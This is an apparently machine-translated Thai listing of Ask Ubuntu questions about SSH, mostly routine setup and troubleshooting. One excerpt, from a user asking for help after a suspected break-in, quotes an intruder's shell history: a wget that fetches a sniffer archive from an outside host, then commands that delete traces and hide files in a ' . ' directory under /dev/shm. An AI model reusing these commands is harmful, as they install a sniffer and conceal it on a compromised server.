คำถามติดแท็ก ssh

SSH หรือที่เรียกว่า "Secure Shell" เป็นวิธีการเชื่อมต่อกับคอมพิวเตอร์ระยะไกลอย่างปลอดภัย

6
คอมพิวเตอร์ส่วนบุคคลถูกแฮ็ค: ฉันจะบล็อกผู้ใช้นี้ไม่ให้เข้าสู่ระบบอีกครั้งได้อย่างไร ฉันจะรู้ได้อย่างไรว่าพวกเขากำลังเข้าสู่ระบบ?
ฉันมั่นใจว่า 99.9% ว่าระบบของฉันในคอมพิวเตอร์ส่วนบุคคลของฉันถูกแทรกซึม อนุญาตให้ฉันให้เหตุผลก่อนเพื่อสถานการณ์จะชัดเจน: ไทม์ไลน์ของกิจกรรมที่น่าสงสัยและการกระทำที่ตามมาที่เกิดขึ้น: 4-26 23:00 ฉันสิ้นสุดโปรแกรมทั้งหมดและปิดแล็ปท็อปของฉัน 4-27 12:00 ฉันเปิดแล็ปท็อปหลังจากที่อยู่ในโหมด Suspend เป็นเวลาประมาณ 13 ชั่วโมง มีหลายหน้าต่างที่เปิดอยู่รวมถึง: หน้าต่าง Chrome สองชุดการตั้งค่าระบบศูนย์ซอฟต์แวร์ บนเดสก์ท็อปของฉันมีตัวติดตั้ง git (ฉันตรวจสอบแล้วยังไม่ได้ติดตั้ง) 4-27 13:00 ประวัติ Chrome แสดงการเข้าสู่ระบบอีเมลของฉันและประวัติการค้นหาอื่น ๆ ที่ฉันไม่ได้เริ่มต้น (ระหว่าง 01:00 น. ถึง 03:00 น. ในวันที่ 4-27) รวมถึง "การติดตั้ง git" มีแท็บ Digital Ocean "วิธีกำหนด bash prompt ของคุณ" เปิดในเบราว์เซอร์ของฉัน มันเปิดใหม่หลายครั้งหลังจากที่ฉันปิดมัน ฉันเข้มงวดเรื่องความปลอดภัยใน …

2
เชื่อมต่อกับเซิร์ฟเวอร์ Ubuntu ผ่าน SSH ภายนอก
ฉันเพิ่งติดตั้ง Ubuntu Server 12.04 (แม่นยำ Pangolin) และตั้งใจจะใช้เป็นไฟล์เซิร์ฟเวอร์เป็นหลัก ฉันใหม่สำหรับ Linux อย่างสมบูรณ์ดังนั้นนี่จึงเป็นช่วงเวลาการเรียนรู้ที่ยิ่งใหญ่ เมื่อวานนี้ฉันสามารถกำหนดค่าPuTTYบนเครื่อง Windows 7 ของฉันโดยใช้คู่คีย์ SSH เพื่อให้ฉันสามารถจัดการเซิร์ฟเวอร์ Ubuntu จากเดสก์ท็อปของฉัน ใช้งานได้ดีหากเครื่องทั้งสองอยู่ในเครือข่ายเดียวกัน ในกรณีของแล็ปท็อปของฉัน ( MacBook Air ) อาจไม่ได้อยู่ในเครือข่ายเดียวกันเสมอไป เป็นไปได้หรือไม่ที่จะเชื่อมต่อกับเซิร์ฟเวอร์ Ubuntu จากแล็ปท็อปของฉันผ่าน SSH เมื่ออยู่ในเครือข่ายอื่น ฉันได้ติดตั้ง avahi daemon เพื่อให้ชื่อโฮสต์ของเซิร์ฟเวอร์ออกอากาศใน LAN และกำหนดค่าเราเตอร์เพื่อให้มันจะกำหนดที่อยู่ IP เดียวกันให้กับเซิร์ฟเวอร์ นอกจากนั้นสิ่งเดียวที่ฉันได้ติดตั้งบนเซิร์ฟเวอร์คือOpenSSHที่ฉันได้ปิดการใช้งานการตรวจสอบรหัสผ่านเพื่อให้คุณสามารถเชื่อมต่อโดยใช้คู่ที่สำคัญเท่านั้น ฉันคิดว่าฉันจะสามารถทำสิ่งนี้จาก terminal บนแล็ปท็อปของฉัน: ssh my.external.ip.address user@hostname.local เมื่อฉันลองคำสั่งนั้นฉันจะได้รับข้อผิดพลาด: ssh: เชื่อมต่อกับโฮสต์ my.external.ip.address พอร์ต …
25 server  ssh  openssh 

2
พบ SSH Backdoor บน VServer จะทำอย่างไร?
เมื่อวานนี้ฉันตรวจสอบประวัติคำสั่งของฉันใน VServer ของฉัน ฉันพบหลายสายที่น่าสงสัย 195 wget aridan.hol.es/sniffer.tgz 196 tar xvf sniffer.tgz 197 ls -a 198 rm -rf sniffer.tgz 199 rm -rf .sniff/ 200 cd /dev/shm 201 ls -a 202 mkdir " . " 203 ls -a 204 cd " . "/ 205 wget aridan.hol.es/sniffer.tgz 206 tar xvf ar 207 tar …
24 ssh  security  malware 

6
สลับการเข้ารหัสเทอร์มินัลด้วยคำสั่ง
หนึ่งในเซิร์ฟเวอร์ที่ฉันมักsshจะใช้การเข้ารหัสแบบตะวันตกแทน utf-8 (และไม่มีทางที่ฉันจะเปลี่ยนได้) ฉันเริ่มเขียนสคริปต์ทุบตีเพื่อเชื่อมต่อกับเซิร์ฟเวอร์นี้ดังนั้นฉันจึงไม่จำเป็นต้องพิมพ์ที่อยู่ทั้งหมดทุกครั้ง แต่ฉันต้องการปรับปรุงสคริปต์นี้ดังนั้นจึงเปลี่ยนการเข้ารหัสของหน้าต่างเทอร์มินัลอย่างถูกต้อง การเปลี่ยนแปลงที่ฉันต้องทำสามารถทำได้โดยใช้เมาส์โดยไปที่ "เทอร์มินัล" -> "ตั้งค่าการเข้ารหัสอักขระ ... " -> "Western (ISO-8859-1)" มีคำสั่งเทอร์มินัลที่ทำสิ่งเดียวกันสำหรับหน้าต่าง / หน้าจอเทอร์มินัลปัจจุบันหรือไม่? เพื่อชี้แจง: ฉันไม่สนใจวิธีการเปลี่ยนสถานที่ของระบบบนไซต์ระยะไกล - ระบบนั้นเป็นระบบที่จัดการโดยคนอื่นและฉันไม่รู้ว่าสิ่งที่อาจขึ้นอยู่กับการเข้ารหัสละติน -1 สิ่งที่ฉันต้องการทำคือให้หน้าต่างเทอร์มินัลนี้สลับการเข้ารหัสอักขระตามข้างต้นในลักษณะเดียวกับที่ฉันสามารถทำได้ด้วยเมาส์และเมนู

3
ฉันจะกำหนดเส้นทางอินเทอร์เน็ตของฉันผ่านอุโมงค์ SSH ได้อย่างไร
เก่าถามฉันจะติดตั้งเซิร์ฟเวอร์ OpenVPN โดยไม่มีสิทธิ์รูทได้อย่างไร มีวิธีการตั้งค่าเซิร์ฟเวอร์ OpenVPN โดยไม่มีสิทธิ์รูทหรือไม่? เช่นกับไฟล์การกำหนดค่าในไดเรกทอรีบ้านของฉัน ถ้าใช่ฉันจะตั้งค่าได้อย่างไร ฉันพยายามที่จะ SSH เข้าสู่ระบบและตั้งค่าเซิร์ฟเวอร์ OpenVPN ที่นั่นเพื่อการใช้งานส่วนตัว แก้ไข เนื่องจากเห็นได้ชัดว่า OpenVPN ต้องการสิทธิ์รูทฉันจึงเปลี่ยนคำถามเป็นการกำหนดเส้นทางอินเทอร์เน็ตโดยใช้ SSH ซึ่งฉันสามารถตั้งค่าได้อย่างง่ายดาย
24 networking  ssh  tunnel 

8
มีผู้จัดการการเชื่อมต่อ SSH หรือไม่?
มีแอปพลิเคชั่น (หรือปลั๊กอิน GnomePanel) ที่อนุญาตให้เก็บข้อมูลการเชื่อมต่อ SSH และเปิดเทอร์มินัลเมื่อคลิกหรือไม่? ฉันรู้ว่า Nautilus ทำเช่นนั้นโดยใช้ "รหัสผ่านและคีย์เข้ารหัส" ของ Ubuntu แต่มีสิ่งดังกล่าวสำหรับเทอร์มินัลหรือไม่?

10
ข้อผิดพลาด SSH: การอนุญาตถูกปฏิเสธโปรดลองอีกครั้ง
ฉันมีการตั้งค่าเซิร์ฟเวอร์ Ubuntu โดยใช้อินสแตนซ์ amazon ec2 ฉันต้องเชื่อมต่อเดสก์ท็อปของฉัน (ซึ่งเป็นเครื่องอูบุนตู) กับเซิร์ฟเวอร์ ubuntu โดยใช้ SSH ฉันได้ติดตั้ง open-ssh ในเซิร์ฟเวอร์ ubuntu แล้ว ฉันต้องการระบบทั้งหมดของเครือข่ายของฉันเพื่อเชื่อมต่อเซิร์ฟเวอร์ ubuntu โดยใช้ SSH (ไม่จำเป็นต้องเชื่อมต่อผ่าน pem หรือ pub keys) ดังนั้นจึงเปิด SSH พอร์ต 22 สำหรับ IP แบบคงที่ของฉันในกลุ่มความปลอดภัย (AWS) ไฟล์ SSHD-CONFIG ของฉันคือ: # Package generated configuration file # See the sshd_config(5) manpage for details # What …
23 server  ssh  login  openssh 

6
ปัญหา SSH - อ่านจากซ็อกเก็ตล้มเหลว: รีเซ็ตการเชื่อมต่อโดยเพียร์
ฉันสามารถ SSH ในทิศทางเดียวโดยไม่มีปัญหา: ตกลง: ssh user@computerA แต่วิธีอื่น ๆ : ssh user@computerB Read from socket failed: Connection reset by peerฉันได้รับ ฉันไม่ได้เริ่มรู้ว่าจะแก้ปัญหานี้ได้ที่ไหน ใครมีเบาะแสบ้าง
23 ssh 

5
จะเพิ่มความเร็วการเข้าสู่ระบบ SSH ได้อย่างไร?
จากนอกบ้านเมื่อใดก็ตามที่ฉันลงชื่อเข้าใช้เซิร์ฟเวอร์ Ubuntu โดยใช้ SSH ฉันจะใช้เวลาประมาณ 6 วินาทีในการขอรหัสผ่าน แต่เมื่อฉันลงชื่อเข้าใช้เซิร์ฟเวอร์เว็บโฮสติ้งของฉันจะใช้เวลาประมาณ 1 วินาที ฉันจะทำอย่างไรเพื่อเร่งความเร็วนี้ $ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=8.04 DISTRIB_CODENAME=hardy DISTRIB_DESCRIPTION="Ubuntu 8.04.1" $ ssh -v OpenSSH_4.7p1 Debian-8ubuntu1.2, OpenSSL 0.9.8g 19 Oct 2007 $ cat /proc/cpuinfo model name : Dual-Core AMD Opteron(tm) Processor 1210 cpu MHz : 1000.000 cache size : 1024 KB $ …

2
รีโมตล็อกอินด้วยตัวจัดการการแสดงผลกราฟิก (GDM, LightDM)
เป็นไปได้ไหมที่จะทำการลงชื่อเข้าใช้ GDM จากระยะไกล (ผ่าน ssh) ฉันจะอธิบายสถานการณ์ที่ฉันต้องการ: ฉันอยู่บนแล็ปท็อปของฉันและเชื่อมต่อกับเดสก์ท็อปของฉันผ่านทาง ssh ฉันรู้ว่ามีการอัปเดตบางอย่าง ฉันติดตั้งพวกเขาทั้งหมด แต่ฉันต้องรีบูตคอมพิวเตอร์ ปัญหาคือเมื่อเดสก์ท็อปรีบูตแล้วจะไม่มีเซสชัน GDM ให้ใช้เนื่องจากจำเป็นต้องลงชื่อเข้าใช้ฉันจะสามารถลงชื่อเข้าใช้ GDM จากระยะไกลจากแล็ปท็อปของฉันได้หรือไม่ แก้ไข: ฉันไม่พบ FreeNX สำหรับผู้ไม่ฝักใฝ่ฝ่ายใดและฉันไม่สามารถกำหนดค่า x11vnc + vncviewer ให้ทำงานได้ ไม่มีวิธีง่ายๆใช่ไหม

4
เซิร์ฟเวอร์ SSH หยุดทำงานหลังจากรีบูตเกิดจากการขาดหายไป / var / run / sshd
VPS ของฉันไม่ได้ถูกรีบูทเป็นเวลาประมาณ 3 เดือน มันถูกโฮสต์บนเซิร์ฟเวอร์ที่มีประเภทการจำลองเสมือน OpenVZ และระบบปฏิบัติการคือ Ubuntu 16.04 ด้วยเหตุผลบางอย่างฉันรีบูต VPS และหลังจากนั้นฉันไม่สามารถเชื่อมต่อกับเซิร์ฟเวอร์ผ่าน ssh ข้อความที่ฉันได้รับคือ: ssh: connect to host srvname.com port 22: Connection refused ดังนั้นฉันจึงเปิด Serial Console บน VPS และเริ่มตรวจสอบ ... ฉันได้ลบและติดตั้งใหม่openssh-serverโดยไม่ประสบความสำเร็จ ฉันใช้เวลาสองชั่วโมงในการอ่านบทความคำถามและคำตอบเกี่ยวกับปัญหาที่คล้ายกันบนอินเทอร์เน็ต ในที่สุดฉันก็จัดการที่จะเข้าใจว่าไดเรกทอรี/var/run/sshdไม่ได้ถูกสร้างขึ้นในระหว่างการเริ่มต้นระบบ และเมื่อฉันสร้างมันด้วยตนเองฉันสามารถเริ่มบริการ SSH ได้โดยไม่มีปัญหาใด ๆ แต่ในการรีบูตครั้งต่อไปปัญหายังคงอยู่ ดังนั้นคำถามของฉันคือ: อะไรคือสาเหตุของปัญหานี้ ทำไม/var/run/sshdไม่สร้างในช่วงเริ่มต้นระบบ? ฉันจะแก้ไขปัญหาในวิธีที่เหมาะสมได้อย่างไร ฉันพบวิธีแก้ปัญหาชั่วคราวที่กล่าวถึงในตอนท้ายของบทความนี้ ปัญหานี้อาจเกี่ยวข้องกับโฮสต์ OpenVZ ของ VPS หรือไม่ ฉันควรขอให้ผู้ให้บริการโฮสติ้งแก้ปัญหาหรือไม่ การส่งออกของsystemctl …
23 16.04  server  ssh  startup  openvz 

1
ssh: เชื่อมต่อกับโฮสต์ localhost พอร์ต 22: การเชื่อมต่อถูกปฏิเสธ [ปิด]
ปิด. คำถามนี้เป็นคำถามปิดหัวข้อ ไม่ยอมรับคำตอบในขณะนี้ ต้องการปรับปรุงคำถามนี้หรือไม่ อัปเดตคำถามเพื่อให้เป็นไปตามหัวข้อสำหรับถาม Ubuntu ปิดให้บริการใน5 ปีที่ผ่านมา แม้ว่าสิ่งนี้ถูกพูดถึงแล้ว แต่ก็ยังฉันไม่สามารถแก้ปัญหานี้ได้ นี่คือการตรวจสอบอย่างรวดเร็วของสิ่งที่ฉันทำและวิธีที่ฉันเป็นปัญหา: ติดตั้ง Ubuntu 12.10 ติดตั้ง sudo apt-get install sshSSH, SSH ssh localhostที่ชื่นชอบได้รับการปรับการทำงานและเชื่อมต่อโดยใช้ ฉันลบ Ubuntu เพิ่มพาร์ติชันและติดตั้ง Ubuntu อีกครั้ง อีกครั้งที่ฉันไล่ออกsudo apt-get install sshมันแสดงให้ฉันเห็น Reading package lists... Done Building dependency tree Reading state information... Done เมื่อฉันได้รับคำสั่งssh localhostมันทำให้ฉันมีข้อผิดพลาด: ssh: connect to host localhost port …
22 ssh 

9
ssh ไม่อนุญาตให้ใช้การตรวจสอบกุญแจสาธารณะอีกต่อไป
เครื่องของฉันหยุดรับการรับรองความถูกต้องของรหัสสาธารณะที่เข้ามา ฉันมีเดสก์ท็อป Ubuntu 11.04 ที่ฉัน ssh จากเครื่อง windows ฉันใช้สีโป๊วกับความงาม ฉันสามารถเชื่อมต่อได้ แต่ใช้การพิสูจน์ตัวตนด้วยรหัสผ่านแบบโต้ตอบไม่ใช่ด้วยคีย์ rsa ของฉันที่ฉันได้ตั้งค่าไว้ ฉันได้ตรวจสอบแล้วว่ากุญแจอยู่ในรายการ ~ / .ssh / authorized_keys ฉันจะแก้ไขสิ่งนี้และตรวจสอบอะไรได้บ้าง

4
ฉันจะแก้ไข ssh motd ได้อย่างไร
ฉันต้องการเพิ่มฟิลด์ลงใน ssh MOTD MOTD วันนี้: Linux toker 2.6.31-22-generic-pae #69-Ubuntu SMP Wed Nov 24 09:04:58 UTC 2010 i686 To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ System information as of Tue Jan 25 19:25:53 CET 2011 System load: 0.23 Processes: 139 Usage of /: 76.8% of 911.20GB Users logged in: 1 …
22 ssh 

4
เปลี่ยนสีเทอร์มินัลโดยอัตโนมัติในการเชื่อมต่อระยะไกล?
มีวิธีการใช้โพรไฟล์เทอร์มินัลโดยอัตโนมัติเมื่อเชื่อมต่อกับเครื่องระยะไกลผ่าน SSH หรือไม่? ฉันต้องการตัวชี้นำภาพที่ชัดเจนยิ่งขึ้นว่าฉันเชื่อมต่อกับเครื่องระยะไกลกว่าผู้ใช้ / โฮสต์ที่แสดงในแต่ละบรรทัดของเทอร์มินัล ฉันใช้เวลาเกือบทั้งวันในการเชื่อมต่อกับเครื่องหลายเครื่องและอาจทำให้สับสน

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.